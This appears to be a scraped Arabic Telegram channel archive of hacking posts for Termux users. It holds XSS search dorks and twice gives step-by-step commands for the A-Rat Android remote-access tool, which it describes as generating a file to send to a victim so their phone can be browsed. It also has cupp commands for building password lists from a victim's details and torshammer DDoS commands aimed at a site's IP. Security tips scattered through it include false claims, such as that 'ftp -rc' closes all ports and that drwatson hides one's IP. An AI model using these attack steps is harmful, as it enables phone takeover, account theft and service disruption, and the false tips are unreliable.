ScriptLab | Free Codes & Projects
الذهاب إلى القناة على Telegram
قناة مخصصة لمشاركة الأكواد والمشاريع الجاهزة مجانًا🔥 📌 أكواد برمجية مفيدة 📌 مشاريع جاهزة للتطوير 📌 مصادر وأدوات للمبرمجين
إظهار المزيد1 885
المشتركون
لا توجد بيانات24 ساعات
-67 أيام
-3530 أيام
أرشيف المشاركات
كما وعدتكم
الجزء الاول من طريقة تغيير حقوق اى سكربت او اداة Termux & Kali linux
وتغيير الحقوق بالكامل
https://youtu.be/UpqEq0JTEdY
تم تحسين بعض الاشياء داخل تطبيق الكورسات واضافة معظم تطبيقات الهندسة العكسية وغيرها
https://www.mediafire.com/download/pfu5g489g5zedfc
رابط التحميل من ميديا فاير او من داخل الاصدار القديم ❤️
باسورد التطبيق
ELHAKEMدوركات Xss
inurl:".php?cmd="
inurl:".php?z="
inurl:".php?q="
inurl:".php?search="
inurl:".php?query="
inurl:".php?searchstring="
inurl:".php?keyword="
inurl:".php?file="
inurl:".php?years="
inurl:".php?txt="
inurl:".php?tag="
inurl:".php?max="
inurl:".php?from="
inurl:".php?author="
inurl:".php?pass="
inurl:".php?feedback="
inurl:".php?mail="
inurl:".php?cat="
inurl:".php?vote="
inurl:search.php?q=
inurl:com_feedpostold/feedpost.php?url=
inurl:scrapbook.php?id=
inurl:headersearch.php?sid=
inurl:/poll/default.asp?catid=
XSS SCAN
هي أداة بيثون للعثور على نقاط الضعف في البرمجة النصية للمواقع. هذه الأداة هي الأولى من نوعها. بدلاً من مجرد التحقق من صفحة واحدة كما تفعل معظم الأدوات ، تعبر هذه الأداة عن موقع الويب وتجد جميع الروابط والنطاقات الفرعية أولاً. بعد ذلك ، يبدأ في فحص كل إدخال على كل صفحة وجدتها أثناء اجتيازها. يستخدم حمولات صغيرة لكنها فعالة للبحث عن ثغرات XSS.
تم اختبار الأداة بالتوازي مع ماسحات عدم الحصانة المدفوعة ، وفشلت معظم الماسحات في اكتشاف الثغرات الأمنية التي تمكنت الأداة من العثور عليها. علاوة على ذلك ، تفحص معظم الأدوات المدفوعة موقعًا واحدًا فقط ، بينما يجد XsSCan أولاً الكثير من النطاقات الفرعية ، ثم يقوم بمسح جميع الروابط ضوئيًا بالكامل. تأتي الأداة مع:
المسح القصير
المسح الشامل
العثور على المجالات الفرعية
التحقق من كل المدخلات في كل صفحة
باستخدام هذه الأداة ، تم العثور على ثغرات أمنية في البرمجة النصية للمواقع في مواقع MIT و Stanford وجامعة Duke و Informatica و Formassembly و ActiveCompaign و Volcanicpixels و Oxford و Motor
اوامر تثبيتها
pip install mechanize
git clone https://github.com/The404Hacking/XsSCan
cd XsSCan
python XsSCan.py -u mr-robot.com
شباب اصبحت لغة دارت جزء من الباكيدج الاساسية لتيرمكس الابديت الاخير وتقريبا كده لازم تتعلم دارت ولو حجات بسيطه 🥰
اداة A-Rat لاختراق اجهزة الاندرويد عبر ملف بايثون
الأوامر :
$termux-setup-storage
$ apt update
$ apt upgrade
$ apt install git
$ apt install python
$ apt install python2
$ git clone https://github.com/RexTheGod/A-Rat.git
$ cd A-Rat
$ chmod +x *
$ python2 A-Rat.py
$ help
$ set host 127.0.0.1 [your ip]
$ set port 1337
$ set output /data/data/com.termux/files/home/shadow.py
$ generate
تفتح صفحة جديدة
تكتب ls
بظهر ليك ملف نهايتو py
ترسلو لي الضحيه
وتجي راجع لي اداة A-Rat
وتكتب run
وتكتب help
بجيب ليك الاوامر عشان تتصفح هاتف الضحيه.
Repost from 𝐌.𝐑_𝐑𝐎𝐁𝐎𝐓
اداة A-Rat لاختراق اجهزة الاندرويد عبر ملف بايثون
الأوامر :
$termux-setup-storage
$ apt update
$ apt upgrade
$ apt install git
$ apt install python
$ apt install python2
$ git clone https://github.com/Xi4u7/A-Rat
$ cd A-Rat
$ chmod +x *
$ python2 A-Rat.py
$ help
$ set host 127.0.0.1 [your ip]
$ set port 1337
$ set output /data/data/com.termux/files/home/shadow.py
$ generate
تفتح صفحة جديدة
تكتب ls
بظهر ليك ملف نهايتو py
ترسلو لي الضحيه
وتجي راجع لي اداة A-Rat
وتكتب run
وتكتب help
بجيب ليك الاوامر عشان تتصفح هاتف الضحيه.
عندما يرغب أحدنا بالإتصال بالشبكة فأولا يجب عليه الإتصال بالراوتر ، وهذا الإتصال بالراوتر أو شبكة يحصل في وقت وجيز و يتم من خلاله الحصول على عنوان IP كرمز تعريفي لجهازك في الشبكة ، وهذا العنوان يتغير في كل مرة نسجل دخولنا على الشبكة ، لكن السؤال المطروح هو كيف تحدث عملية الحصول على عناوين IP بشكل آلي ؟
طبعا الإجابة هي عبر DHCP إختصار ل dynamic host configuration protocol و هو برتوكول مهمته تعيين عناوين IP بشكل تلقائي لكل الأجهزة المتصلة بالشبكة و يتم ذلك من خلال مراحل ، سأقوم بشرحها لك بطريقة مبسطة كي تفهمها جيدا.
أولا عند الإتصال يقوم جهازك بإرسال رسالة لطلب عنوان IP ، وبما أن جهازك في تلك اللحظة لا يملك IP فهو يقوم بإرسال الرسالة بIP التالي 0.0.0.0 إلى العنوان 255.255.255.255 ، و تحتوي هاته الرسالة على إسم الجهاز و عنوان الماك MAC و ينتظر الإجابة من DHCP server.
ثانيا يقوم DHCP server بالرد على الطلب ويقوم بإرسال عنوان IPمقترح إلى جهازك ، و تسمى هاته العملية ب IP Lease request ، وبعد حصول جهازك على IP المقترح يعيد إرسال رسالة أخرى إلى DHCP server ليخبره أنه تم إختيار IP المقترح و تسمى هاته العملية ب IP lease selection .
و أخيرا يقوم DHCP server بإرسال مايسمى بask إلى المستخدم لتأكيد على أنه تم تعيين العنوان بنجاح ، وإذا إستقبل المستخدم unsuccessful ask بمعنى فشل في الإرسال ، فيقوم جهازك بإعادة إرسال الطلب من جديد بغية الحصول على عنوان IP.
كان هذا بإختصار ما يحدث عند إتصالك بالشبكة
هل سالت نفسك من قبل عندما تحاول الاتصال بشبكة الواى فاي يظهرلك جملة جارى الحصول علي عنوان ip..
هل سالت نفسك لماذا تظهر هذه الجملة او ما معناها او ماذا يتم في هذا اللحظة 🤔
معلومة قد تفيدك...!
GSM (Global System Mobility)
أصناف أنظمة الارسال الراديوية المتنقلة:
1- نظم ارسال بسيطة:
فيها يتم الاتصال في اتجاه واحد مثال على ذلك حيث يستقبل الرسائل ولكن لا يتم الرد عليها.
2- نظم ارسال نصف مزدوجة:
فيها يتم الاتصال في اتجاهين حيث ان هذه الأنظمة تستخدم قناة رادوية واحده للارسال والاستقبال (أي يرسل أو يستقبل المعلومة) مثل لذلك "طرفيات البوليس" .
3- نظم ارسال مزدوج:
(أي يتم الارسال في نفس الوقت واستخدام قناتين منفصلتين ولكن بينهما تزامن
مواصفات ال GSM:
GSM (Global System Mobility)
1- نطق الارسال من محطة الارسال الثابت 935_960 ميجاهيرتز (DOWN LINK).
2- نطاق ارسال من محطة متنقلة
890_915 ميجاهيرتز (UP LINK).
3- اقصى قدرة ارسال 20-3 واط .
4- عدد القنوات من النوع المزدوج 125 قناة.
5- عرض النطاق الترددي في القناه الواحده 200 كيلو هيرتز.
6- طريقة النقل تعد الوصول بتقسيم الزمن (TDMA).
7- عدد المشتركين في الاطار الواحد ثمانية لكل إطار.
8- تشفير الكلمات 13 كليو بت لكل ثانية.
9- طرق حماية الخطاء :
- الترك البيني.
- تشفير القناة.
- قفز التردد.
- المساواة التكيفية.
10- طريقة التعديل أو التضمين ( زحزحة التبديل الدنيا الجاوسيةGMSK).
لكي تتضح كيفية عمل شبكة ال GSM من
الضروري معرف مكونات الشبكة , والتي تتكون من عدة أجزاء تعمل مع بعضها , هذه الأقسام الرئيسية هي:
1 - NSS : Network Station Subsystem.
وهو المسؤول عن تنظيم المكالمات .
وهو الذي يقوم بإيصال الشبكة اللاسلكية مع الشبكة العامة ومع الشبكات اللاسلكية الأخرى ويقوم أيضا بتنظيم عمل الشبكة مع تحركات المستخدمين داخل الشبكة أو خارجها وتنظيم فواتير المستخدمين.
ويعتبر القلب بالنسبة لنظام ال(GSM).
NSS Commons :
1- ال MSC.
Mobile Switching Center.
2- ال HLR.
Home Location Register.
3- ال VLR.
Visitor Location Register.
4- ال AUC.
Authentication Center.
5- ال ILR.
Individualised Learner Record.
6- ا ل EIR.
Equipment Identity Register.
###############
2- BSS : Base Station Subsystem.
وهو المسؤول عن تنظيم الاتصالات اللاسلكية
تعني وحدة مركزية تحتوي على ( SHELTER) وبالقرب منه (ANTENNA )
وهي المسؤولة عن توزيع الترددات وتامين الاتصال اللاسلكي من خلال الهواء.
BSS Commons :
1- ال BSC.
Base Station Controller.
2- ال BTS.
Base Terminal Station.
3. OSS : Operation Support Subsystem.
وهو المسؤول عن نظام التشغيل والمراقبة
ويعتبر مركزا للعمليات والدعم ويقوم بما يلي :
1- تخطيط الشبكة ( Planning ).
2- تشغيل الشبكة ( Operating).
صيانة الشبكة ( Maintaining).
مراقبة الشبكة ( Supervising).
تطوير الشبكة ( Developing).
OSS Commons :
1- ال OMC.
Operation & Maintenance Center.
2- ال NMC.
Network Management Center.
4. MS : Mobile Station.
يستخدم لإجراء المكالمات من خلال ( ME +SIM-CARD). عبارة عن محطة متحركة (الشبكة الخلوية) وهو على ثلاثة أنواع:
1- الهاتف المحمول في اليد.
Hand held phone.
2- العدة المتنقلة.
Portable phone.
3- هواتف المركبات.
Car phone
MS Commons :
1- ال ME.
Mobile Equipment.
2- ال SIM-card.
Subscribe Identity Module.
##########
وظيفة الشبكة الخلوية:
وظيفتها الأساسية توصل الهاتف النقال بكل من :
1. هواتف أخرى نقالة بالشبكة.
2. شبكات خلوية أخرى.
3. شبكات هواتف محلية أخرى (PSTN).
4. شبكات النقال الأرضية المحلية. (PLMN).
############
وظائف ال NSS الأساسية :
تتلخص بما يأتي:
1.معالجة المكالمات.
2.تحويل مسارات الصوت والبيانات.
3.عمليات الشحن.
4.التوصيل بالشبكات الأخرى والمحطات الأرضية.
وظائف مركز الرسائل (MESSAGE CENTER)
يقوم بالخدمات الآتية:
1- الرسائل القصيرة( SMS).
2- البريد الصوتي( VOICE MAIL).
3- الفاكس( FAX MAIL).
( MOBILE INTELLIGENT NETWORK):
وظائف الشبكة الذكية:
تقوم بالاتي:
1. خدمات المشتركين الخاصة ,إجراء مكالمات مسبقة الدفع و تحويل الرصيد.
2. تنظيم خدمات الأعمال.
@KM_N1
#ALQADHI_HK
لمبتدئين Termux دعونا نتعرف علي بعض الاوامر واستخداماتها
الاوامر الاساسيه pwd
معرفة المسار المفتوح الأن
help
مساعدة تضم جميع الأكواد
ls
اضهار الملفات الموجوده في الأداه او الصفحه الرئيسيه
cd
المرور بين الملفات والدخول إلى الادوات
مثال: cd file
الملف المراد الدخول إليه(file)
cd ..
الرجوع خانه واحده للوراء
cd مع النقر مرتين على المساحه
الرجوع الى البيت
exit
الخروج من الادوات والبرنامج والصفحات
rm -rf
حذف الملفات
مثال: rm -rf file
الملف المراد حذفه(file)
mv
لنقل الملفات
مثال: mv file kali
الملف المراد نقله(file)
الملف المراد النقل إليه (kali)
cp -r
لنسخ الملفات
مثال: cp -r file kali
الملف المراد نسخه(file)
الملف المراد النسخ إليه (kali)
ifconfig
لمعرفه ال ip الخاص بالجهاز
iwconfig
لمعرفه معلومات الاتصال والاجهزه اللاسلكية
unzip
فك الضغط عن الملفات
مثال: unzip file.zip
الملف المراد فك الضغط عنه(file.zip)
mkdir
لإنشاء ملف
مثال: mkdir file
الملف المراد إنشائه(file)
clear
لتصفية شاشه البرنامج عند الامتلاء بالأكواد
&&
لإشراك تحميل أمرين بكبسة واحده بدل من تحميل الأوامر واحده تلو الأخرى يمكنك استعمال هذا الرمز لتثبيت عده اوامر بأمر واحد فقط
مثال:
pkg install python && pkg install python 2
الان سيتم تنزيل مكتبه python و python2 معا بإمكانك حتى كتابه اكثر من 10 اكواد فقط بنفس الطريقة اعلاه
-y
هذا الرمز يستخدم للتاكيد الفوري عند تثبيت الادوات في بعض الاحيان يخبرك البرنامج بأن هذه الاداه ستأخذ من مساحه التخزين مقدار معين فيقوم البرنامج بتخييرك بين الموافقة المتمثلة بكتابه y او الرفض المتمثلة ب n ولكن ال y- عند كتابتها تؤكد قبولك فوراً
مثال:
$ pkg install python -y
ملاحظات مهمه:
1- عند انتهاء الاداه ب py. فاعلم ان الاداه تحتاج
الى python او python2 او python3 لتشغيل الاداه او لتثبيتها
مثال:
$ python example.py
اذا لم ينجح python قم بتجريب الاصدار الثاني والثالث
تثبيت ال python في الدرس القادم
2- عند انتهاء الاداه ب sh. فاعلم ان الاداه تعمل بلغه bash
لشغيل الاداه او تثبيتها
مثال:
$ bash example.sh
او بامكانك اذا لم تنجح هذه الطريقه استعمال هذا الرمز /.
مثال:
$ ./example.sh
3- عند انتهاء الاداه بالرمز aex. تحتاج لشغيل الاداه او تثبيتها الرمز sh او /.
مثال:
$ sh example.aex
او
$ ./install.aex
4- عند انتهاء الاداه ب php. فاعلم ان الاداه تحتاج إلى لغة php لتثبيت الاداه او تشغيلها
مثال:
$ php example.php
5- علامه الدولار $ لا تعتبر ضمن الاوامر إنما تشير إلى انه انت الان في سطر جديد لذلك لا تكتب عند تثبيتك للأومر هذا الرمز
@KM_N1
#ALQADHI_HK
- لأخفاء جهازك من الشبكة بدون برنامج :-
1- إذهب إلى قائمة أبدا start ثم تشغيل run
2- فى Run اكتب Cmdسوف تظهر شاشة سوداء
3- اكتب هذا الأمر net Config Server /hidden:yes
4- ثم انتظر نصف ساعة و ستجد ان جهازك قد اختفى من الشبكة مع العلم ان ذلك لا يأثر
على الـ Share او إذا كنت تستخدم برنامج مثل الـ Pcany Where أو Net Support
5- و للتراجع عن هذا الأمر اكتب فى الشاشة السوداء Net Config Server /hidden:no
6- ثم انتظر نصف ساعة واعمل Restart للجهاز وسوف يظهر الجهاز كما كان
ملحوظه
وهذا الأمر تم تجربتة على نسخة Xp /sp2
وتم تجربتة ايضا على شبكة بنظام Domain و على شبكة بنظام WorKGruop وتم بنجاح
أهمية هذه الحركة
عندما تقوم بإخفاء جهازك عن الشبكة المحلية أو حتى العالمية سيكون من سابع المستحيلات أن يتم إختراق جهازك إلا من أفضل مخترقين العالم ربما فهذه الحركة مهمه لكل واحد يشبك على الإنترنت أو حتى على شبكة محلية أو أي شبكة .
الطريقة السادسة :-
- ايقاف خاصية مشاركة الملفات :
1- إذهب إلى قائمة أبدا start ثم settings ثم control panal
2- ثم أدخل network connections
3- أضغط click right ثم properties
4- أحذف علامة صح من أمام أختيار
file and printer sharing for Microsoft networks
5- ثم أضغط ok
الطريقة السابعة :-
- لأغلاق ثغرات الوندوز إكس بي ~ ويندوز Xp ~ فقط :-
1- إذهب إلى قائمة أبدا start ثم تشغيل run
2- فى Run اكتب Cmd
3- ثم أكتب netstat -ano لترى المنافذ المفتوحه
فيه حوالي 17 منفذ مفتوح وفي حالة استماع listen
4- قم بنسخ الأوامر التالية وألصقها في الدوس
sc config policyagent start= disabled
sc config ssdpsrv start= disabled
sc config messenger start= disabled
sc config w32time start= disabled
sc config netbt start= disabled
exit
الطريقة الثامنة :-
- لأغلاق جميع البورتات والمنافذ المفتوحه بجهازك لحمايتك من الاختراق من قبل الهكرز :-
1- إذهب إلى قائمة أبدا start ثم تشغيل run
2- فى Run اكتب ftp –rc
- و بهذا تكون تكون قد اغلقت جميع البورتات المفتوحه بجهازك .
الطريقة التاسعة :-
-اخفاء IP الخاص بجهازك ب 4 خطوات وبدون برامج-:
رقم IP هو رقم جهازك علي الشبكة ويعتمد الهاكرز علي رقم الأي للدخول الى جهازك
لاخفاء الـ IP اتبع التالي ..
1- إذهب إلى قائمة أبدا start ثم تشغيل run
2- فى Run اكتب Command
3- ثم أكتب drwatson ثم إضغط Enter
وسوف تظهر لك صورة رأس شخص شعره اصفرعلى شريط المهام ....
واذا أردت اظهار الأي بي فقط اغلق اطار الدكتور واطسون.
اقوى جاسوس من الاستخبارات الامريكية في جهازك احذفة :-
- قامت الاستخبارت الامريكية بزراعة هذا الجاسوس في انظمة الاكس بي طبعا
- وظيفه هذا الجاسوس
يقوم بارسال كل المعلومات الموجودة في الداخل اضافة الى كل العمليات التي نقوم بها في حواسيبنا الشخصية
- للتخلص منه قم بالأتى :-
1- إذهب إلى قائمة أبدا start ثم تشغيل run
2- فى Run اكتب Cmd
3- ثم أكتب net user
إذا كانت النتيجة كالتالي :- Support_388945a0أذن server موجود فى نظام تشغيلك
ثم قم بكتابة الأمر التالى مع مراعاة الفواصل :-
net user SUPPORT_388945a0 /delete
ثم أكتب الأمر Exit
و للتأكد من الحذف قم بأعادة الخطوات الأولى ستجد أنه تم حذفه
من أشهر برامج الحماية (فير وول) :-
هناك عدة برامج للحماية منها
BlackICE Defender v2.5 co
Norton Internet Security 2001 v 2.5 Family Edition
Tiny Personal Firewall 2.0.14
Zone alarm
Intruder Alert '99
من أشهربرامج مقاومة الفيروسات:-
تعددت برامج الحماية من الفيروسات لكن هناك مجموعة تعد الشهيرة فى هذه البرامج
Mcafee
Norton Anti-Virus
Pc-cillin
AntiViral Toolkit Pro (AVP) Gold
AntiViral
Norton Anti-Virus 2001
Cleaner V.3.2
Avira personnel
في النهاية يجب توخي الحذر الشديد من الجميع في التعامل مع ما يلي-:
اولا :-
E-MAIL
*يجب الحرص الشديد على كلمة السر وتغيرها من فترة الى اخرى
*عدم فتح الرسائل اذا لم تعرف مضمونها او اذا لم تعرف عنوان الشخص المرسل
* ايضا تجنب اعطاء عنوانك البريدي لاي شخص او شركة غير معروفين لديك
* بعض الرسائل القادمة الى البريد الالكتروني تاتي بعناوين مغرية ومشوقة لفتح هذة الرسائل ولكن لا تقوم بفتحها بل قم مباشرة بالغاءها وكما لاحظت من ان كثير من برامج الاختراق والفيروسات تستطيع الدخول الى جهازك عن طريق البريد الالكتروني
@KM_N1
#ALQADHI_HK
خمن الموقع واستلم جائزة 😂💕
(ايراني ، سعودي ، اجنبي )
@hh33Y
ال بل انستا ممحسوبين😂😂
• ملف بوت اهداء رسايل بشكل مجهول
• انا شايفه تافه صراحه بس اطلب مني كنير
• حط ايديك سطر 3
• حط ايدي القناه سطر 4
• التوكن سطر 5
• تخمط اذكر مصدر
• @VR_LA
Repost from 𝐌.𝐑_𝐑𝐎𝐁𝐎𝐓
اداة cupp لصنع قأئمة باسوردات قوية بمعلومات الضحية :
$
pkg upgrade && pkg update
$ pkg install git
$ pkg install python3
$ git clone https://github.com/Mebus/cupp.git
$ cd cupp
$ python3 cupp.py
$ python3 cupp.py -i
وبعدها تدخل معلومات الضحية اللي طالبها منك
بعد الانتهاء اذا اردت تضبف معلومات اخري اكتب y اذا لا اكتب n
بعدها اذا اردت كتابه احرف خاصة فى قائمة الباسوردات اكتب y ادا لا اكتب n
بعدها اذا اردت كتابه ارقام خاصة فى قائمة الباسوردات اكتب y ادا لا اكتب n
ثم n وانتر مرة اخرى n وانتر وهيك انتهيت
ستجد لستة الباسورد محفوظة داخل ملف الاداةشباب اى شخص محتاج مساعدة في حل اى خطاء الحل عندي باذن الله ❤️
#ALQADHI_HK
اداة torshammer DDOS ATTACKS
$
pkg update && pkg upgrade
$ pkg install python
$ pkg install python2
$ pkg install git
$ pip install terminal
$ pip install socks
$ pip install colorama
$ git clone https://github.com/Karlheinzniebuhr/torshammer.git
$ python2 torshammer.py
$ python2 ./torshammer.py -t 115.179.100.76 -r 256
طبعا بدال 115.179.100.76 تحط اى بي الموقع ومشان تستخرج تستخرج ip الموقع تقدر تستخدم طريقتين اول طريقة هي عن طريق فتح اى terminal وكتابة امر
$ ping + رابط الموقع
مثال: ping www.facebook.com
الطريقة الثانية وهي عن طريق تثبيت حزمة dnsutils بكتابة امر
$ pkg install dnsutils
بعدها تعطي هذا الامر
$ nslookup + رابط الموقع
مثال: nslookup www.facebook.com
رح يظهرلك ip الموقع بكل سهولة
اللي بتواجهو اى مشكلة يكتب في التعليقات
رجاء استخدام الاداة في الخير ❤️